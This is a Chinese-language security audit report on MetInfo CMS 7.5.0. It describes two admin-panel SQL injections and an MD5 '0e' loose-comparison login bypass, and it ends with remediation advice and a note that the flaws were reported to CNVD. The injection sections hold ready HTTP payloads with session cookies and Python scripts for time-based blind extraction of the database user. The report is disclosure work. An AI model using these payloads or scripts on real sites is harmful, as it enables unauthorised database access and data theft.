MetInfo CMS代码审计-PHP
字数 1425 2025-08-24 23:51:18
MetInfo CMS 7.5.0 安全审计报告
环境说明
- 操作系统:Windows 10
- 开发环境:Phpstuby
- PHP版本:7.2.9
- CMS版本:MetInfo 7.5.0
目录结构
|-- about
|-- about1
|-- admin
|-- app
|-- cache
|-- case
|-- config
|-- download
|-- favicon.ico
|-- feedback
|-- hits
|-- img
|-- include
|-- index.php
|-- install
|-- job
|-- member
|-- message
|-- news
|-- online
|-- product
|-- public
|-- robots.txt
|-- search
|-- sitemap
|-- tags
|-- templates
|-- upload
漏洞分析
1. SQL注入漏洞 (doDelParas函数)
漏洞位置:
- 控制器文件:
app/system/user/admin/parameter.class.php - 数据库操作文件:
app/system/parameter/include/class/parameter_database.class.php - MySQL操作文件:
app/system/include/class/mysql.class.php
漏洞分析:
doDelParas函数接收表单的id参数- 参数直接传递给
delete_para_value方法 - 在
delete_para_value函数中,id被直接拼接到SQL语句中 - 最终通过
DB::query($query)执行
利用条件:
- 需要管理员权限
- 需要有效的
met_auth和met_keyCookie
利用Payload:
POST /admin/?n=user&c=parameter&a=doDelParas HTTP/1.1
Host: cms.cn
Content-Length: 60
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;
id[]=164+and+if((select substr(version(),1,1))>0,sleep(1),0)
自动化利用脚本:
import requests
url = "http://cms.cn/admin/?n=user&c=parameter&a=doDelParas"
headers = {
"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
proxies = {"http": None}
req = requests.session()
result = ''
for mid in range(15):
for i in range(30, 150):
data = "id[]=164+and+if((select ascii(substr(user(), %d ,1)))= %d ,sleep(1),0)" % (mid, i)
resp = req.post(url, data=data, headers=headers, proxies=proxies)
if resp.elapsed.total_seconds() > 1.5:
result += chr(i)
print(result)
2. SQL注入漏洞 (doparasave函数)
漏洞位置:
- 控制器文件:
app/system/parameter/admin/parameter_admin.class.php - 数据库操作文件:
app/system/parameter/include/class/parameter_database.class.php
漏洞分析:
doparasave函数调用table_para方法table_para方法接收$_M['form']和$_M['form']['module']参数- 通过构造特定表单数据,可以触发
insert_para_list方法 - 在
add_para_value方法中,$option['module']被直接拼接到SQL语句且无引号保护
利用条件:
- 需要管理员权限
- 需要构造特定的表单数据
利用Payload:
POST /admin/?n=parameter&c=parameter_admin&a=doparasave HTTP/1.1
Host: cms.cn
Content-Length: 126
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Cookie: met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;
allid=a&submit_type=save&type-a=6&options-a={"0":{"0":"0"}}&module=-1 or if((select ascii(mid(user(),1,1)))>1,sleep(0.03),0)
自动化利用脚本:
import requests
url = "http://cms.cn/admin/?n=parameter&c=parameter_admin&a=doparasave"
headers = {
"Cookie": "met_auth=30ac30fgvWFY3ebf9Wgl9S6LFFBIEwlZoWl066q%2BAr%2F9CD%2Fnti7wlX15n%2BjRmGRQ0hWO6eLPsy%2BtIrVwAPyek9gY48B4; met_key=KQiciI7;",
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"
}
proxies = {"http": None}
req = requests.session()
result = ''
for mid in range(15):
for i in range(30, 150):
data = "allid=a&submit_type=save&type-a=6&options-a={\"0\":{\"0\":\"0\"}}&module=-1 or if((select ascii(mid(user(), %d ,1)))= %d ,sleep(0.03),1)" % (mid, i)
resp = req.post(url, data=data, headers=headers, proxies=proxies)
if resp.elapsed.total_seconds() > 0.8:
result += chr(i)
print(result)
3. MD5弱类型比较漏洞
漏洞位置:
- 登录控制器:
app/system/user/web/login.class.php - 用户类文件:
app/system/include/class/user.class.php
漏洞分析:
dologin函数调用login方法处理登录login_by_password方法获取用户数据并验证密码- 密码验证使用
==进行MD5比较,存在弱类型比较问题 - 当MD5哈希以"0e"开头时,PHP会将其视为科学计数法的0
利用条件:
- 需要注册一个密码MD5值为"0e"开头的账户
- 登录时使用另一个MD5值为"0e"开头的字符串作为密码
漏洞复现步骤:
- 注册账号"abab",密码设置为MD5加密后为"0e"开头的字符串
- 登录时使用另一个MD5值为"0e"开头的字符串作为密码
总结
- 发现的漏洞主要集中在后台管理功能
- 前台防护相对严格
- 所有发现的漏洞均已提交CNVD收录
- 主要漏洞类型:
- 未过滤的用户输入直接拼接SQL语句
- 弱类型比较导致的认证绕过
修复建议
- 对所有用户输入进行严格的过滤和转义
- 使用预处理语句替代直接SQL拼接
- 密码比较使用严格比较(===)
- 加强后台权限验证机制